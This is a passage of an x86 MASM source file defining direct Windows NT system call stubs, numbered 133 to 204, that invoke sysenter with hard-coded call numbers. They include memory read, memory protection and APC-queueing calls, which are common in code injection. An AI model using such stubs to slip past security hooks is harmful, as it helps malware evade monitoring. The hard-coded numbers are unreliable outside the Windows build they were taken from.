call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRegisterThreadTerminatePort ENDP
; ULONG __stdcall NtRegisterProtocolAddressInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtRegisterProtocolAddressInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 133
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRegisterProtocolAddressInformation ENDP
; ULONG __stdcall NtRecoverTransactionManager( ULONG arg_01 );
NtRecoverTransactionManager PROC STDCALL arg_01:DWORD
mov eax , 134
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRecoverTransactionManager ENDP
; ULONG __stdcall NtRecoverResourceManager( ULONG arg_01 );
NtRecoverResourceManager PROC STDCALL arg_01:DWORD
mov eax , 135
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRecoverResourceManager ENDP
; ULONG __stdcall NtRecoverEnlistment( ULONG arg_01 , ULONG arg_02 );
NtRecoverEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 136
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRecoverEnlistment ENDP
; ULONG __stdcall NtReadVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtReadVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 137
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReadVirtualMemory ENDP
; ULONG __stdcall NtReadRequestData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtReadRequestData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 138
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReadRequestData ENDP
; ULONG __stdcall NtReadOnlyEnlistment( ULONG arg_01 , ULONG arg_02 );
NtReadOnlyEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 139
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReadOnlyEnlistment ENDP
; ULONG __stdcall NtReadFileScatter( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtReadFileScatter PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 140
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReadFileScatter ENDP
; ULONG __stdcall NtReadFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtReadFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 141
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtReadFile ENDP
; ULONG __stdcall NtRaiseHardError( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtRaiseHardError PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 142
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRaiseHardError ENDP
; ULONG __stdcall NtRaiseException( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtRaiseException PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 143
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRaiseException ENDP
; ULONG __stdcall NtQueueApcThreadEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQueueApcThreadEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 144
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueueApcThreadEx ENDP
; ULONG __stdcall NtQueueApcThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueueApcThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 145
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueueApcThread ENDP
; ULONG __stdcall NtQueryAuxiliaryCounterFrequency( ULONG arg_01 );
NtQueryAuxiliaryCounterFrequency PROC STDCALL arg_01:DWORD
mov eax , 146
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryAuxiliaryCounterFrequency ENDP
; ULONG __stdcall NtQueryWnfStateData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQueryWnfStateData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 147
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryWnfStateData ENDP
; ULONG __stdcall NtQueryWnfStateNameInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryWnfStateNameInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 148
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryWnfStateNameInformation ENDP
; ULONG __stdcall NtQueryVolumeInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryVolumeInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 149
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryVolumeInformationFile ENDP
; ULONG __stdcall NtQueryVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQueryVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 150
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryVirtualMemory ENDP
; ULONG __stdcall NtQueryValueKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQueryValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 151
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryValueKey ENDP
; ULONG __stdcall NtQueryTimerResolution( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtQueryTimerResolution PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 152
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryTimerResolution ENDP
; ULONG __stdcall NtQueryTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 153
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryTimer ENDP
; ULONG __stdcall NtQuerySystemTime( ULONG arg_01 );
NtQuerySystemTime PROC STDCALL arg_01:DWORD
mov eax , 154
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySystemTime ENDP
; ULONG __stdcall NtQuerySystemInformationEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQuerySystemInformationEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 155
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySystemInformationEx ENDP
; ULONG __stdcall NtQuerySystemInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtQuerySystemInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 156
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySystemInformation ENDP
; ULONG __stdcall NtQuerySystemEnvironmentValueEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQuerySystemEnvironmentValueEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 157
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySystemEnvironmentValueEx ENDP
; ULONG __stdcall NtQuerySystemEnvironmentValue( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtQuerySystemEnvironmentValue PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 158
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySystemEnvironmentValue ENDP
; ULONG __stdcall NtQuerySymbolicLinkObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtQuerySymbolicLinkObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 159
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySymbolicLinkObject ENDP
; ULONG __stdcall NtQuerySemaphore( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQuerySemaphore PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 160
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySemaphore ENDP
; ULONG __stdcall NtQuerySecurityPolicy( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQuerySecurityPolicy PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 161
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySecurityPolicy ENDP
; ULONG __stdcall NtQuerySecurityObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQuerySecurityObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 162
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySecurityObject ENDP
; ULONG __stdcall NtQuerySecurityAttributesToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQuerySecurityAttributesToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 163
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySecurityAttributesToken ENDP
; ULONG __stdcall NtQuerySection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQuerySection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 164
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQuerySection ENDP
; ULONG __stdcall NtQueryQuotaInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtQueryQuotaInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 165
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryQuotaInformationFile ENDP
; ULONG __stdcall NtQueryPortInformationProcess( );
NtQueryPortInformationProcess PROC STDCALL
mov eax , 166
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryPortInformationProcess ENDP
; ULONG __stdcall NtQueryPerformanceCounter( ULONG arg_01 , ULONG arg_02 );
NtQueryPerformanceCounter PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 167
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryPerformanceCounter ENDP
; ULONG __stdcall NtQueryOpenSubKeysEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtQueryOpenSubKeysEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 168
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryOpenSubKeysEx ENDP
; ULONG __stdcall NtQueryOpenSubKeys( ULONG arg_01 , ULONG arg_02 );
NtQueryOpenSubKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 169
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryOpenSubKeys ENDP
; ULONG __stdcall NtQueryObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 170
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryObject ENDP
; ULONG __stdcall NtQueryMutant( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryMutant PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 171
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryMutant ENDP
; ULONG __stdcall NtQueryMultipleValueKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtQueryMultipleValueKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 172
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryMultipleValueKey ENDP
; ULONG __stdcall NtQueryLicenseValue( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryLicenseValue PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 173
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryLicenseValue ENDP
; ULONG __stdcall NtQueryKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 174
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryKey ENDP
; ULONG __stdcall NtQueryIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 175
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryIoCompletion ENDP
; ULONG __stdcall NtQueryIntervalProfile( ULONG arg_01 , ULONG arg_02 );
NtQueryIntervalProfile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 176
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryIntervalProfile ENDP
; ULONG __stdcall NtQueryInstallUILanguage( ULONG arg_01 );
NtQueryInstallUILanguage PROC STDCALL arg_01:DWORD
mov eax , 177
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInstallUILanguage ENDP
; ULONG __stdcall NtQueryInformationWorkerFactory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationWorkerFactory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 178
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationWorkerFactory ENDP
; ULONG __stdcall NtQueryInformationTransactionManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 179
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationTransactionManager ENDP
; ULONG __stdcall NtQueryInformationTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 180
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationTransaction ENDP
; ULONG __stdcall NtQueryInformationToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 181
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationToken ENDP
; ULONG __stdcall NtQueryInformationThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 182
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationThread ENDP
; ULONG __stdcall NtQueryInformationResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 183
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationResourceManager ENDP
; ULONG __stdcall NtQueryInformationProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 184
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationProcess ENDP
; ULONG __stdcall NtQueryInformationPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 185
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationPort ENDP
; ULONG __stdcall NtQueryInformationJobObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 186
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationJobObject ENDP
; ULONG __stdcall NtQueryInformationFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 187
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationFile ENDP
; ULONG __stdcall NtQueryInformationEnlistment( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 188
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationEnlistment ENDP
; ULONG __stdcall NtQueryInformationByName( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationByName PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 189
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationByName ENDP
; ULONG __stdcall NtQueryInformationAtom( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryInformationAtom PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 190
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryInformationAtom ENDP
; ULONG __stdcall NtQueryFullAttributesFile( ULONG arg_01 , ULONG arg_02 );
NtQueryFullAttributesFile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 191
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryFullAttributesFile ENDP
; ULONG __stdcall NtQueryEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtQueryEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 192
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryEvent ENDP
; ULONG __stdcall NtQueryEaFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtQueryEaFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 193
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryEaFile ENDP
; ULONG __stdcall NtQueryDriverEntryOrder( ULONG arg_01 , ULONG arg_02 );
NtQueryDriverEntryOrder PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 194
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryDriverEntryOrder ENDP
; ULONG __stdcall NtQueryDirectoryObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
NtQueryDirectoryObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 195
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryDirectoryObject ENDP
; ULONG __stdcall NtQueryDirectoryFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtQueryDirectoryFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 196
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryDirectoryFile ENDP
; ULONG __stdcall NtQueryDefaultUILanguage( ULONG arg_01 );
NtQueryDefaultUILanguage PROC STDCALL arg_01:DWORD
mov eax , 197
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryDefaultUILanguage ENDP
; ULONG __stdcall NtQueryDefaultLocale( ULONG arg_01 , ULONG arg_02 );
NtQueryDefaultLocale PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 198
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryDefaultLocale ENDP
; ULONG __stdcall NtQueryDebugFilterState( ULONG arg_01 , ULONG arg_02 );
NtQueryDebugFilterState PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 199
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryDebugFilterState ENDP
; ULONG __stdcall NtQueryBootOptions( ULONG arg_01 , ULONG arg_02 );
NtQueryBootOptions PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 200
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryBootOptions ENDP
; ULONG __stdcall NtQueryBootEntryOrder( ULONG arg_01 , ULONG arg_02 );
NtQueryBootEntryOrder PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 201
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryBootEntryOrder ENDP
; ULONG __stdcall NtQueryAttributesFile( ULONG arg_01 , ULONG arg_02 );
NtQueryAttributesFile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 202
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtQueryAttributesFile ENDP
; ULONG __stdcall NtPulseEvent( ULONG arg_01 , ULONG arg_02 );
NtPulseEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 203
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPulseEvent ENDP
; ULONG __stdcall NtProtectVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtProtectVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 204
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtProtectVirtualMemory ENDP
